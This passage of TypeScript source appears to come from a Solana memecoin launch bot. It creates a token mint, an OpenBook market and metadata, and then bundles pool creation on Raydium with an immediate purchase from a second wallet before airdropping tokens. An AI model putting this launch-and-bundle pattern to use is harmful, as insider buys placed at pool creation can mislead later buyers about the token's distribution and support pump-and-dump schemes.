 434 |         fromPubkey: wallet,
 435 |         basePubkey: wallet,
 436 |         seed: marketInfo.id.seed,
 437 |         newAccountPubkey: marketInfo.id.publicKey,
 438 |         lamports: await connection.getMinimumBalanceForRentExemption(
 439 |           MARKET_STATE_LAYOUT_V2.span
 440 |         ),
 441 |         space: MARKET_STATE_LAYOUT_V2.span,
 442 |         programId: marketInfo.programId,
 443 |       }),
 444 |       SystemProgram.createAccountWithSeed({
 445 |         fromPubkey: wallet,
 446 |         basePubkey: wallet,
 447 |         seed: marketInfo.requestQueue.seed,
 448 |         newAccountPubkey: marketInfo.requestQueue.publicKey,
 449 |         lamports: await connection.getMinimumBalanceForRentExemption(5120 + 12),
 450 |         space: 5120 + 12,
 451 |         programId: marketInfo.programId,
 452 |       }),
 453 |       SystemProgram.createAccountWithSeed({
 454 |         fromPubkey: wallet,
 455 |         basePubkey: wallet,
 456 |         seed: marketInfo.eventQueue.seed,
 457 |         newAccountPubkey: marketInfo.eventQueue.publicKey,
 458 |         lamports: await connection.getMinimumBalanceForRentExemption(
 459 |           11344 + 12
 460 |         ),
 461 |         space: 11344 + 12,
 462 |         programId: marketInfo.programId,
 463 |       }),
 464 |       SystemProgram.createAccountWithSeed({
 465 |         fromPubkey: wallet,
 466 |         basePubkey: wallet,
 467 |         seed: marketInfo.bids.seed,
 468 |         newAccountPubkey: marketInfo.bids.publicKey,
 469 |         lamports: await connection.getMinimumBalanceForRentExemption(
 470 |           14560 + 12
 471 |         ),
 472 |         space: 14560 + 12,
 473 |         programId: marketInfo.programId,
 474 |       }),
 475 |       SystemProgram.createAccountWithSeed({
 476 |         fromPubkey: wallet,
 477 |         basePubkey: wallet,
 478 |         seed: marketInfo.asks.seed,
 479 |         newAccountPubkey: marketInfo.asks.publicKey,
 480 |         lamports: await connection.getMinimumBalanceForRentExemption(
 481 |           14560 + 12
 482 |         ),
 483 |         space: 14560 + 12,
 484 |         programId: marketInfo.programId,
 485 |       }),
 486 |       this.initializeMarketInstruction({
 487 |         programId: marketInfo.programId,
 488 |         marketInfo: {
 489 |           id: marketInfo.id.publicKey,
 490 |           requestQueue: marketInfo.requestQueue.publicKey,
 491 |           eventQueue: marketInfo.eventQueue.publicKey,
 492 |           bids: marketInfo.bids.publicKey,
 493 |           asks: marketInfo.asks.publicKey,
 494 |           baseVault: marketInfo.baseVault.publicKey,
 495 |           quoteVault: marketInfo.quoteVault.publicKey,
 496 |           baseMint: marketInfo.baseMint,
 497 |           quoteMint: marketInfo.quoteMint,
 498 | 
 499 |           baseLotSize: marketInfo.baseLotSize,
 500 |           quoteLotSize: marketInfo.quoteLotSize,
 501 |           feeRateBps: marketInfo.feeRateBps,
 502 |           vaultSignerNonce: marketInfo.vaultSignerNonce,
 503 |           quoteDustThreshold: marketInfo.quoteDustThreshold,
 504 |         },
 505 |       })
 506 |     );
 507 | 
 508 |     return {
 509 |       address: {
 510 |         marketId: marketInfo.id.publicKey,
 511 |         requestQueue: marketInfo.requestQueue.publicKey,
 512 |         eventQueue: marketInfo.eventQueue.publicKey,
 513 |         bids: marketInfo.bids.publicKey,
 514 |         asks: marketInfo.asks.publicKey,
 515 |         baseVault: marketInfo.baseVault.publicKey,
 516 |         quoteVault: marketInfo.quoteVault.publicKey,
 517 |         baseMint: marketInfo.baseMint,
 518 |         quoteMint: marketInfo.quoteMint,
 519 |       },
 520 |       innerTransactions: [
 521 |         {
 522 |           instructions: ins1,
 523 |           signers: [],
 524 |           instructionTypes: [
 525 |             InstructionType.createAccount,
 526 |             InstructionType.createAccount,
 527 |             InstructionType.initAccount,
 528 |             InstructionType.initAccount,
 529 |           ],
 530 |         },
 531 |         {
 532 |           instructions: ins2,
 533 |           signers: [],
 534 |           instructionTypes: [
 535 |             InstructionType.createAccount,
 536 |             InstructionType.createAccount,
 537 |             InstructionType.createAccount,
 538 |             InstructionType.createAccount,
 539 |             InstructionType.createAccount,
 540 |             InstructionType.initMarket,
 541 |           ],
 542 |         },
 543 |       ],
 544 |     };
 545 |   }
 546 | 
 547 |   static initializeMarketInstruction({
 548 |     programId,
 549 |     marketInfo,
 550 |   }: {
 551 |     programId: PublicKey;
 552 |     marketInfo: {
 553 |       id: PublicKey;
 554 |       requestQueue: PublicKey;
 555 |       eventQueue: PublicKey;
 556 |       bids: PublicKey;
 557 |       asks: PublicKey;
 558 |       baseVault: PublicKey;
 559 |       quoteVault: PublicKey;
 560 |       baseMint: PublicKey;
 561 |       quoteMint: PublicKey;
 562 |       authority?: PublicKey;
 563 |       pruneAuthority?: PublicKey;
 564 | 
 565 |       baseLotSize: BN;
 566 |       quoteLotSize: BN;
 567 |       feeRateBps: number;
 568 |       vaultSignerNonce: BN;
 569 |       quoteDustThreshold: BN;
 570 |     };
 571 |   }) {
 572 |     const dataLayout = struct([
 573 |       u8("version"),
 574 |       u32("instruction"),
 575 |       u64("baseLotSize"),
 576 |       u64("quoteLotSize"),
 577 |       u16("feeRateBps"),
 578 |       u64("vaultSignerNonce"),
 579 |       u64("quoteDustThreshold"),
 580 |     ]);
 581 | 
 582 |     const keys = [
 583 |       { pubkey: marketInfo.id, isSigner: false, isWritable: true },
 584 |       { pubkey: marketInfo.requestQueue, isSigner: false, isWritable: true },
 585 |       { pubkey: marketInfo.eventQueue, isSigner: false, isWritable: true },
 586 |       { pubkey: marketInfo.bids, isSigner: false, isWritable: true },
 587 |       { pubkey: marketInfo.asks, isSigner: false, isWritable: true },
 588 |       { pubkey: marketInfo.baseVault, isSigner: false, isWritable: true },
 589 |       { pubkey: marketInfo.quoteVault, isSigner: false, isWritable: true },
 590 |       { pubkey: marketInfo.baseMint, isSigner: false, isWritable: false },
 591 |       { pubkey: marketInfo.quoteMint, isSigner: false, isWritable: false },
 592 |       // Use a dummy address if using the new dex upgrade to save tx space.
 593 |       {
 594 |         pubkey: marketInfo.authority
 595 |           ? marketInfo.quoteMint
 596 |           : SYSVAR_RENT_PUBKEY,
 597 |         isSigner: false,
 598 |         isWritable: false,
 599 |       },
 600 |     ]
 601 |       .concat(
 602 |         marketInfo.authority
 603 |           ? { pubkey: marketInfo.authority, isSigner: false, isWritable: false }
 604 |           : []
 605 |       )
 606 |       .concat(
 607 |         marketInfo.authority && marketInfo.pruneAuthority
 608 |           ? {
 609 |               pubkey: marketInfo.pruneAuthority,
 610 |               isSigner: false,
 611 |               isWritable: false,
 612 |             }
 613 |           : []
 614 |       );
 615 | 
 616 |     const data = Buffer.alloc(dataLayout.span);
 617 |     dataLayout.encode(
 618 |       {
 619 |         version: 0,
 620 |         instruction: 0,
 621 |         baseLotSize: marketInfo.baseLotSize,
 622 |         quoteLotSize: marketInfo.quoteLotSize,
 623 |         feeRateBps: marketInfo.feeRateBps,
 624 |         vaultSignerNonce: marketInfo.vaultSignerNonce,
 625 |         quoteDustThreshold: marketInfo.quoteDustThreshold,
 626 |       },
 627 |       data
 628 |     );
 629 | 
 630 |     return new TransactionInstruction({
 631 |       keys,
 632 |       programId,
 633 |       data,
 634 |     });
 635 |   }
 636 | }
 637 | 
 638 | /**
 639 |  * Create and initialize a new mint
 640 |  *
 641 |  * @param connection      Connection to use
 642 |  * @param payer           Payer of the transaction and initialization fees
 643 |  * @param mintAuthority   Account or multisig that will control minting
 644 |  * @param freezeAuthority Optional account or multisig that can freeze token accounts
 645 |  * @param decimals        Location of the decimal place
 646 |  * @param keypair         Optional keypair, defaulting to a new random one
 647 |  * @param confirmOptions  Options for confirming the transaction
 648 |  * @param programId       SPL Token program account
 649 |  *
 650 |  * @return Address of the new mint
 651 |  */
 652 | 
 653 | function delay(ms: number) {
 654 |   return new Promise((resolve) => setTimeout(resolve, ms));
 655 | }
 656 | 
 657 | function saveTokenAccount(mint: PublicKey, accountData: MinimalMarketLayoutV3) {
 658 |   const ata = getAssociatedTokenAddressSync(mint, wallet.publicKey);
 659 |   const tokenAccount = <MinimalTokenAccountData>{
 660 |     address: ata,
 661 |     mint: mint,
 662 |     market: <MinimalMarketLayoutV3>{
 663 |       bids: accountData.bids,
 664 |       asks: accountData.asks,
 665 |       eventQueue: accountData.eventQueue,
 666 |     },
 667 |   };
 668 |   existingTokenAccounts.set(mint.toString(), tokenAccount);
 669 |   return tokenAccount;
 670 | }
 671 | 
 672 | async function createMint(
 673 |   connection: any,
 674 |   payer: Keypair,
 675 |   mintAuthority: PublicKey,
 676 |   freezeAuthority: PublicKey | null,
 677 |   decimals: number,
 678 |   keypair = Keypair.generate(),
 679 |   programId = TOKEN_PROGRAM_ID
 680 | ) {
 681 |   const lamports = await getMinimumBalanceForRentExemptMint(connection);
 682 | 
 683 |   const transaction = new Transaction().add(
 684 |     ComputeBudgetProgram.setComputeUnitPrice({ microLamports: microLamports }),
 685 |     ComputeBudgetProgram.setComputeUnitLimit({ units: units }),
 686 |     SystemProgram.createAccount({
 687 |       fromPubkey: payer.publicKey,
 688 |       newAccountPubkey: keypair.publicKey,
 689 |       space: MINT_SIZE,
 690 |       lamports,
 691 |       programId,
 692 |     }),
 693 |     createInitializeMint2Instruction(
 694 |       keypair.publicKey,
 695 |       decimals,
 696 |       mintAuthority,
 697 |       freezeAuthority,
 698 |       programId
 699 |     )
 700 |   );
 701 |   const {
 702 |     value: { blockhash, lastValidBlockHeight },
 703 |   } = await connection.getLatestBlockhashAndContext();
 704 |   transaction.recentBlockhash = blockhash;
 705 |   transaction.feePayer = payer.publicKey;
 706 |   transaction.setSigners(keypair.publicKey, payer.publicKey);
 707 |   transaction.partialSign(keypair);
 708 |   transaction.partialSign(payer);
 709 |   const signature = await connection.sendRawTransaction(
 710 |     transaction.serialize(),
 711 |     [keypair],
 712 |     {
 713 |       maxRetries: 20,
 714 |       preflightCommitment: "confirmed",
 715 |     }
 716 |   );
 717 | 
 718 |   console.log(signature);
 719 | 
 720 |   await connection.confirmTransaction({
 721 |     blockhash,
 722 |     lastValidBlockHeight,
 723 |     signature,
 724 |   });
 725 | 
 726 |   return keypair.publicKey;
 727 | }
 728 | 
 729 | program.version("0.0.1");
 730 | 
 731 | const createToken = async () => {
 732 |   const mint = await createMint(
 733 |     connection,
 734 |     wallet,
 735 |     wallet.publicKey,
 736 |     null,
 737 |     9 // set decimal
 738 |   );
 739 | 
 740 |   const associatedToken = getAssociatedTokenAddressSync(mint, wallet.publicKey);
 741 | 
 742 |   const transaction = new Transaction().add(
 743 |     ComputeBudgetProgram.setComputeUnitPrice({ microLamports: microLamports }),
 744 |     ComputeBudgetProgram.setComputeUnitLimit({ units: units }),
 745 |     createAssociatedTokenAccountInstruction(
 746 |       wallet.publicKey,
 747 |       associatedToken,
 748 |       wallet.publicKey,
 749 |       mint
 750 |     ),
 751 |     createMintToInstruction(
 752 |       mint,
 753 |       associatedToken,
 754 |       wallet.publicKey,
 755 |       parseFloat(LAUNCH_SUPPLY) * 10 ** 9 // because decimals for the mint are set to 9
 756 |     )
 757 |   );
 758 | 
 759 |   const {
 760 |     value: { blockhash, lastValidBlockHeight },
 761 |   } = await connection.getLatestBlockhashAndContext();
 762 |   transaction.recentBlockhash = blockhash;
 763 |   transaction.feePayer = wallet.publicKey;
 764 |   transaction.sign(wallet);
 765 |   const signature = await connection.sendRawTransaction(
 766 |     transaction.serialize(),
 767 |     {
 768 |       maxRetries: 20,
 769 |       preflightCommitment: "confirmed",
 770 |     }
 771 |   );
 772 |   console.log("Mint", mint.toBase58());
 773 | 
 774 |   console.log(signature);
 775 | 
 776 |   await connection.confirmTransaction({
 777 |     blockhash,
 778 |     lastValidBlockHeight,
 779 |     signature,
 780 |   });
 781 | 
 782 |   console.log("CONFIRMED TX", signature);
 783 | };
 784 | 
 785 | const updateMetadata = async (address: string) => {
 786 |   try {
 787 |     const mint = new PublicKey(address);
 788 |     const metadataPDA = findMetadataPda(mint);
 789 |     const tokenMetadata = {
 790 |       name: "kidddd",
 791 |       symbol: "kid",
 792 |       image:
 793 |         "https://ipfs.io/ipfs/QmcrzpAdJ3zR4P4f3sRQ3uG8KaGWmbE1EbJNMSd1P7URiy",
 794 |       uri: "https://ipfs.io/ipfs/QmeEupcwseiJrVUTd2KC2VEmCAR1GoepGLPxeo4ddA3JgX", // uri of uploaded metadata
 795 |       extensions: {
 796 |         website: "https://catinsock.lol/",
 797 |         twitter: "https://twitter.com/CatInSockSolana",
 798 |         telegram: "https://t.me/catinsock",
 799 |       },
 800 |       tags: ["cat"],
 801 |       creator: null,
 802 |       sellerFeeBasisPoints: 0,
 803 |       creators: null,
 804 |       collection: null,
 805 |       uses: null,
 806 |     };
 807 |     const updateMetadataTransaction = new Transaction().add(
 808 |       ComputeBudgetProgram.setComputeUnitPrice({
 809 |         microLamports: microLamports,
 810 |       }),
 811 |       ComputeBudgetProgram.setComputeUnitLimit({ units: units }),
 812 |       createCreateMetadataAccountV3Instruction(
 813 |         {
 814 |           metadata: metadataPDA,
 815 |           mint,
 816 |           mintAuthority: wallet.publicKey, //set to null to remove mint authority
 817 |           payer: wallet.publicKey,
 818 |           updateAuthority: wallet.publicKey, //set to null to remove authority
 819 |         },
 820 |         {
 821 |           createMetadataAccountArgsV3: {
 822 |             data: tokenMetadata,
 823 |             collectionDetails: null,
 824 |             isMutable: true,
 825 |           },
 826 |         }
 827 |       ),
 828 |       createSetAuthorityInstruction(
 829 |         mint,
 830 |         wallet.publicKey,
 831 |         AuthorityType.MintTokens,
 832 |         null
 833 |       )
 834 |     );
 835 |     await sendTransaction(updateMetadataTransaction, []);
 836 |   } catch (e) {
 837 |     console.log(e);
 838 |   }
 839 | };
 840 | 
 841 | async function sendTransaction(transaction: any, signers: any) {
 842 |   transaction.feePayer = wallet.publicKey;
 843 |   transaction.recentBlockhash = (
 844 |     await connection.getRecentBlockhash("max")
 845 |   ).blockhash;
 846 |   await transaction.setSigners(
 847 |     wallet.publicKey,
 848 |     ...signers.map((s: any) => s.publicKey)
 849 |   );
 850 |   if (signers.length != 0) await transaction.partialSign(...signers);
 851 |   // const signedTransaction = await wallet.signTransaction(transaction)
 852 |   var signature = await sendAndConfirmTransaction(connection, transaction, [
 853 |     wallet,
 854 |   ]);
 855 |   console.log("SIGNATURE", signature);
 856 | 
 857 |   console.log("SUCCESS");
 858 |   return signature;
 859 | }
 860 | 
 861 | async function CreateMarket(
 862 |   baseMint: string,
 863 |   MinimumOrdersize: number,
 864 |   TickSize: number
 865 | ) {
 866 |   const marketAccounts = await Market.findAccountsByMints(
 867 |     connection,
 868 |     new PublicKey(baseMint),
 869 |     quoteToken.mint,
 870 |     PROGRAMIDS.OPENBOOK_MARKET
 871 |   );
 872 |   if (marketAccounts.length > 0) {
 873 |     console.log(`Market ID: ${marketAccounts[0].publicKey}`);
 874 |     return;
 875 |   }
 876 | 
 877 |   const token = await connection.getAccountInfo(new PublicKey(baseMint));
 878 |   if (token == null) {
 879 |     return;
 880 |   }
 881 |   const tokendata = MintLayout.decode(token.data);
 882 |   const decimal = tokendata.decimals;
 883 |   try {
 884 |     const { innerTransactions, address } =
 885 |       await MarketV2.makeCreateMarketInstructionSimple({
 886 |         connection,
 887 |         dexProgramId: PROGRAMIDS.OPENBOOK_MARKET,
 888 |         baseInfo: {
 889 |           mint: new PublicKey(baseMint),
 890 |           decimals: decimal,
 891 |         },
 892 |         quoteInfo: {
 893 |           mint: NATIVE_MINT,
 894 |           decimals: 9,
 895 |         },
 896 |         lotSize: MinimumOrdersize,
 897 |         tickSize: TickSize,
 898 |         wallet: wallet.publicKey,
 899 |         makeTxVersion,
 900 |         lookupTableCache,
 901 |       });
 902 | 
 903 |     let transaction = new Transaction();
 904 |     let transaction2 = new Transaction();
 905 |     transaction.add(
 906 |       ComputeBudgetProgram.setComputeUnitPrice({
 907 |         microLamports: microLamports,
 908 |       }),
 909 |       ComputeBudgetProgram.setComputeUnitLimit({ units: units })
 910 |     );
 911 |     transaction2.add(
 912 |       ComputeBudgetProgram.setComputeUnitPrice({
 913 |         microLamports: microLamports,
 914 |       }),
 915 |       ComputeBudgetProgram.setComputeUnitLimit({ units: units })
 916 |     );
 917 |     // Flag to alternate between transactions
 918 |     let addToTransaction1 = true;
 919 |     let processedCount = 0;
 920 |     let length = 4;
 921 |     innerTransactions.forEach((inst) => {
 922 |       inst.instructions.forEach((i) => {
 923 |         if (addToTransaction1) {
 924 |           transaction.add(i);
 925 |         } else {
 926 |           transaction2.add(i);
 927 |         }
 928 |         processedCount++;
 929 | 
 930 |         if (processedCount > length) {
 931 |           addToTransaction1 = false;
 932 |         }
 933 |       });
 934 |     });
 935 | 
 936 |     const {
 937 |       value: { blockhash, lastValidBlockHeight },
 938 |     } = await connection.getLatestBlockhashAndContext();
 939 |     transaction.recentBlockhash = blockhash;
 940 |     transaction.feePayer = wallet.publicKey;
 941 |     transaction.sign(wallet);
 942 |     const signature = await connection.sendRawTransaction(
 943 |       transaction.serialize(),
 944 |       {
 945 |         maxRetries: 20,
 946 |         preflightCommitment: commitment,
 947 |       }
 948 |     );
 949 | 
 950 |     await connection.confirmTransaction({
 951 |       blockhash,
 952 |       lastValidBlockHeight,
 953 |       signature,
 954 |     });
 955 | 
 956 |     logger.info({
 957 |       Market: "🟢 Created tx1",
 958 |       url: `https://solscan.io/tx/${signature}?cluster=${network}`,
 959 |     });
 960 | 
 961 |     transaction2.recentBlockhash = blockhash;
 962 |     transaction2.feePayer = wallet.publicKey;
 963 |     transaction2.sign(wallet);
 964 |     const signature2 = await connection.sendRawTransaction(
 965 |       transaction2.serialize(),
 966 |       {
 967 |         maxRetries: 20,
 968 |         preflightCommitment: commitment,
 969 |       }
 970 |     );
 971 | 
 972 |     logger.info({
 973 |       Market: "🟢 Created tx2",
 974 |       url: `https://solscan.io/tx/${signature2}?cluster=${network}`,
 975 |     });
 976 | 
 977 |     await connection.confirmTransaction({
 978 |       blockhash,
 979 |       lastValidBlockHeight,
 980 |       signature: signature2,
 981 |     });
 982 | 
 983 |     await delay(15000);
 984 | 
 985 |     const marketAccounts = await Market.findAccountsByMints(
 986 |       connection,
 987 |       new PublicKey(baseMint),
 988 |       quoteToken.mint,
 989 |       PROGRAMIDS.OPENBOOK_MARKET
 990 |     );
 991 |     if (marketAccounts.length === 0) {
 992 |       console.log("No market found, Retry");
 993 |     } else {
 994 |       console.log(`Market ID: ${marketAccounts[0].publicKey}`);
 995 |     }
 996 |   } catch (error) {
 997 |     console.log(error);
 998 |   }
 999 | }
1000 | 
1001 | async function createAndBuy(input: CreateAndBuy): Promise<
1002 |   Result<
1003 |     {
1004 |       bundleId: string;
1005 |       poolId: string;
1006 |       createPoolTxSignature: string;
1007 |       buyTxSignature: string;
1008 |       bundleStatus: number;
1009 |     },
1010 |     { bundleId: string; poolId: string } | string
1011 |   >
1012 | > {
1013 |   try {
1014 |     let { baseMintAmount, quoteMintAmount, marketId } = input;
1015 |     const keypair = wallet;
1016 |     const user = keypair.publicKey;
1017 |     const baseRay = new BaseRay({ rpcEndpointUrl: connection.rpcEndpoint });
1018 | 
1019 |     // await transferJitoTip(connection);
1020 | 
1021 |     const marketState = await baseRay
1022 |       .getMarketInfo(marketId)
1023 |       .catch((getMarketInfoError) => {
1024 |         log({ getMarketInfoError });
1025 |         return null;
1026 |       });
1027 |     if (!marketState) {
1028 |       return { Err: "market not found" };
1029 |     }
1030 |     const { baseMint, quoteMint } = marketState;
1031 |     log({
1032 |       baseToken: baseMint.toBase58(),
1033 |       quoteToken: quoteMint.toBase58(),
1034 |     });
1035 |     const createPoolTxInfo = await baseRay
1036 |       .createPool(
1037 |         { baseMint, quoteMint, marketId, baseMintAmount, quoteMintAmount },
1038 |         keypair.publicKey
1039 |       )
1040 |       .catch((innerCreatePoolError) => {
1041 |         log({ innerCreatePoolError });
1042 |         return null;
1043 |       });
1044 |     if (!createPoolTxInfo)
1045 |       return { Err: "Failed to prepare create pool transaction" };
1046 | 
1047 |     //buy
1048 |     const {
1049 |       poolId,
1050 |       baseAmount: initialBaseMintAmount,
1051 |       quoteAmount: initialQuoteMintAmount,
1052 |     } = createPoolTxInfo;
1053 |     console.log("poolId ===========>", poolId.toBase58());
1054 | 
1055 |     const poolKeys = await baseRay.getPoolKeys(poolId);
1056 |     let amountIn: TokenAmount;
1057 |     let amountOut: TokenAmount;
1058 |     let tokenAccountIn: web3.PublicKey;
1059 |     let tokenAccountOut: web3.PublicKey;
1060 |     const baseR = new Token(
1061 |       TOKEN_PROGRAM_ID,
1062 |       poolKeys.baseMint,
1063 |       poolKeys.baseDecimals
1064 |     );
1065 |     const quoteR = new Token(
1066 |       TOKEN_PROGRAM_ID,
1067 |       poolKeys.quoteMint,
1068 |       poolKeys.quoteDecimals
1069 |     );
1070 |     const poolInfo: LiquidityPoolInfo = {
1071 |       baseDecimals: poolKeys.baseDecimals,
1072 |       quoteDecimals: poolKeys.quoteDecimals,
1073 |       lpDecimals: poolKeys.lpDecimals,
1074 |       lpSupply: new BN(0),
1075 |       baseReserve: initialBaseMintAmount,
1076 |       quoteReserve: initialQuoteMintAmount,
1077 |       startTime: null as any,
1078 |       status: null as any,
1079 |     };
1080 |     const { buyToken: buyTokenType, buyAmount } = input;
1081 |     let poolSolFund = 0;
1082 |     if (
1083 |       baseMint.toBase58() == NATIVE_MINT.toBase58() ||
1084 |       quoteMint.toBase58() == NATIVE_MINT.toBase58()
1085 |     ) {
1086 |       if (baseMint.toBase58() == NATIVE_MINT.toBase58()) {
1087 |         poolSolFund = input.baseMintAmount;
1088 |       } else {
1089 |         poolSolFund = input.quoteMintAmount;
1090 |       }
1091 |     }
1092 |     if (buyTokenType == "base") {
1093 |       amountIn = new TokenAmount(baseR, buyAmount.toString(), false);
1094 |       amountOut = Liquidity.computeAmountOut({
1095 |         amountIn,
1096 |         currencyOut: quoteR,
1097 |         poolInfo,
1098 |         poolKeys,
1099 |         slippage: new Percent(1, 100),
1100 |       }).minAmountOut as TokenAmount;
1101 |       tokenAccountOut = getAssociatedTokenAddressSync(
1102 |         poolKeys.baseMint,
1103 |         buyer.publicKey
1104 |       );
1105 |       tokenAccountIn = getAssociatedTokenAddressSync(
1106 |         poolKeys.quoteMint,
1107 |         buyer.publicKey
1108 |       );
1109 |       const [userAccountInfo, ataInfo] = await connection
1110 |         .getMultipleAccountsInfo([wallet.publicKey, tokenAccountIn])
1111 |         .catch(() => [null, null, null]);
1112 |       if (!userAccountInfo)
1113 |         return { Err: "wallet dosen't have enought Sol to create pool" };
1114 |       const balance = calcDecimalValue(userAccountInfo.lamports, 9);
1115 |       if (balance < poolSolFund)
1116 |         return { Err: "wallet dosen't have enought Sol to create pool" };
1117 |       const [userAccountInfo2, ataInfo2] = await connection
1118 |         .getMultipleAccountsInfo([buyer.publicKey, tokenAccountIn])
1119 |         .catch(() => [null, null, null]);
1120 |       let minRequiredBuyerBalance = buyAmount;
1121 |       if (!userAccountInfo2)
1122 |         return { Err: "wallet dosen't have enought Sol to buy" };
1123 |       const balance2 = calcDecimalValue(userAccountInfo2.lamports, 9);
1124 |       if (amountIn.token.mint.toBase58() == NATIVE_MINT.toBase58()) {
1125 |         minRequiredBuyerBalance += calcDecimalValue(amountIn.raw.toNumber(), 9);
1126 |         if (balance2 < minRequiredBuyerBalance)
1127 |           return {
1128 |             Err: "Buyer wallet dosen't have enought Sol to buy the tokens",
1129 |           };
1130 |       }
1131 |     } else {
1132 |       amountIn = new TokenAmount(quoteR, buyAmount.toString(), false);
1133 |       amountOut = Liquidity.computeAmountOut({
1134 |         amountIn,
1135 |         currencyOut: baseR,
1136 |         poolInfo,
1137 |         poolKeys,
1138 |         slippage: new Percent(1, 100),
1139 |       }).minAmountOut as TokenAmount;
1140 |       tokenAccountOut = getAssociatedTokenAddressSync(
1141 |         poolKeys.baseMint,
1142 |         buyer.publicKey
1143 |       );
1144 |       tokenAccountIn = getAssociatedTokenAddressSync(
1145 |         poolKeys.quoteMint,
1146 |         buyer.publicKey
1147 |       );
1148 |       const [userAccountInfo, ataInfo] = await connection
1149 |         .getMultipleAccountsInfo([wallet.publicKey, tokenAccountIn])
1150 |         .catch(() => [null, null, null]);
1151 |       if (!userAccountInfo)
1152 |         return { Err: "wallet dosen't have enought Sol to create pool" };
1153 |       const balance = calcDecimalValue(userAccountInfo.lamports, 9);
1154 |       if (balance < poolSolFund)
1155 |         return { Err: "wallet dosen't have enought Sol to create pool" };
1156 |       const [userAccountInfo2, ataInfo2] = await connection
1157 |         .getMultipleAccountsInfo([buyer.publicKey, tokenAccountIn])
1158 |         .catch(() => [null, null, null]);
1159 |       if (!userAccountInfo2)
1160 |         return { Err: "wallet dosen't have enought Sol to buy" };
1161 |       const balance2 = calcDecimalValue(userAccountInfo2.lamports, 9);
1162 |       if (amountIn.token.mint.toBase58() == NATIVE_MINT.toBase58()) {
1163 |         let minRequiredBuyerBalance = calcDecimalValue(
1164 |           amountIn.raw.toNumber(),
1165 |           9
1166 |         );
1167 |         if (balance2 < minRequiredBuyerBalance)
1168 |           return {
1169 |             Err: "Buyer wallet dosen't have enought Sol to buy the tokens",
1170 |           };
1171 |       }
1172 |     }
1173 |     const buyFromPoolTxInfo = await baseRay
1174 |       .buyFromPool({
1175 |         amountIn,
1176 |         amountOut,
1177 |         fixedSide: "in",
1178 |         poolKeys,
1179 |         tokenAccountIn,
1180 |         tokenAccountOut,
1181 |         user: buyer.publicKey,
1182 |       })
1183 |       .catch((innerBuyTxError) => {
1184 |         log({ innerBuyTxError });
1185 |         return null;
1186 |       });
1187 |     if (!buyFromPoolTxInfo) return { Err: "Failed to create buy transaction" };
1188 | 
1189 |     const createPoolRecentBlockhash = (
1190 |       await connection.getLatestBlockhash().catch(async () => {
1191 |         await sleep(2_000);
1192 |         return await connection
1193 |           .getLatestBlockhash()
1194 |           .catch((getLatestBlockhashError) => {
1195 |             log({ getLatestBlockhashError });
1196 |             return null;
1197 |           });
1198 |       })
1199 |     )?.blockhash;
1200 |     if (!createPoolRecentBlockhash)
1201 |       return { Err: "Failed to prepare transaction" };
1202 |     const createPoolTxMsg = new web3.TransactionMessage({
1203 |       instructions: createPoolTxInfo.ixs,
1204 |       payerKey: wallet.publicKey,
1205 |       recentBlockhash: createPoolRecentBlockhash,
1206 |     }).compileToV0Message();
1207 |     const createPoolTx = new web3.VersionedTransaction(createPoolTxMsg);
1208 |     createPoolTx.sign([wallet, ...createPoolTxInfo.signers]);
1209 | 
1210 |     await sleep(1_000);
1211 |     const buyRecentBlockhash = (
1212 |       await connection.getLatestBlockhash().catch(async () => {
1213 |         await sleep(2_000);
1214 |         return await connection
1215 |           .getLatestBlockhash()
1216 |           .catch((getLatestBlockhashError) => {
1217 |             log({ getLatestBlockhashError });
1218 |             return null;
1219 |           });
1220 |       })
1221 |     )?.blockhash;
1222 |     if (!buyRecentBlockhash) return { Err: "Failed to prepare transaction" };
1223 |     const buyTxMsg = new web3.TransactionMessage({
1224 |       instructions: buyFromPoolTxInfo.ixs,
1225 |       payerKey: buyer.publicKey,
1226 |       recentBlockhash: buyRecentBlockhash,
1227 |     }).compileToV0Message();
1228 |     const buyTx = new web3.VersionedTransaction(buyTxMsg);
1229 |     buyTx.sign([buyer]);
1230 | 
1231 |     console.log(
1232 |       "createpoolTX ===>",
1233 |       await connection.simulateTransaction(createPoolTx)
1234 |     );
1235 |     console.log("buy ====>", await connection.simulateTransaction(buyTx));
1236 | 
1237 |     const res = await bull_dozer(connection, createPoolTx, buyTx);
1238 |     console.log("bull dozer response ====>", res);
1239 |     return {};
1240 |   } catch (error) {
1241 |     console.log(error);
1242 |     return {};
1243 |   }
1244 | }
1245 | 
1246 | async function Airdrop(address: string) {
1247 |   const mint = new PublicKey(address);
1248 |   const token = await connection.getAccountInfo(mint);
1249 |   if (token == null) {
1250 |     return;
1251 |   }
1252 |   const tokendata = MintLayout.decode(token.data);
1253 |   const decimal = tokendata.decimals;
1254 |   const sourceassociatedToken = getAssociatedTokenAddressSync(
1255 |     mint,
1256 |     buyer.publicKey
1257 |   );
1258 |   const addressesString = retrieveEnvVariable("airdrop", logger);
1259 |   const addresses = JSON.parse(addressesString);
1260 |   let tx1 = new Transaction().add(
1261 |     ComputeBudgetProgram.setComputeUnitPrice({
1262 |       microLamports: microLamports,
1263 |     })
1264 |   );
1265 |   let tx2 = new Transaction().add(
1266 |     ComputeBudgetProgram.setComputeUnitPrice({
1267 |       microLamports: microLamports,
1268 |     })
1269 |   );
1270 |   let tx3 = new Transaction().add(
1271 |     ComputeBudgetProgram.setComputeUnitPrice({
1272 |       microLamports: microLamports,
1273 |     })
1274 |   );
1275 |   let tx4 = new Transaction().add(
1276 |     ComputeBudgetProgram.setComputeUnitPrice({
1277 |       microLamports: microLamports,
1278 |     })
1279 |   );
1280 |   let count = 0;
1281 |   for (const address of addresses) {
1282 |     const pubkey = new PublicKey(address[0]);
1283 |     const associatedToken = getAssociatedTokenAddressSync(mint, pubkey);
1284 |     const assoicatedTokenAccountInfo =
1285 |       await connection.getAccountInfo(associatedToken);
1286 |     if (!assoicatedTokenAccountInfo) {
1287 |       const createtx = createAssociatedTokenAccountInstruction(
1288 |         buyer.publicKey,
1289 |         associatedToken,
1290 |         pubkey,
1291 |         mint
1292 |       );
1293 |       if (count >= 0 && count <= 9) {
1294 |         tx1.add(createtx);
1295 |       } else if (count >= 10 && count <= 19) {
1296 |         tx2.add(createtx);
1297 |       } else if (count >= 20 && count <= 29) {
1298 |         tx3.add(createtx);
1299 |       } else if (count >= 30 && count <= 39) {
1300 |         tx4.add(createtx);
1301 |       }
1302 |     }
1303 |     const transfertx = createTransferInstruction(
1304 |       sourceassociatedToken,
1305 |       associatedToken,
1306 |       buyer.publicKey,
1307 |       parseFloat(address[1]) * Math.pow(10, decimal),
1308 |     );
1309 |     if (count >= 0 && count <= 9) {
1310 |       tx1.add(transfertx);
1311 |     } else if (count >= 10 && count <= 19) {
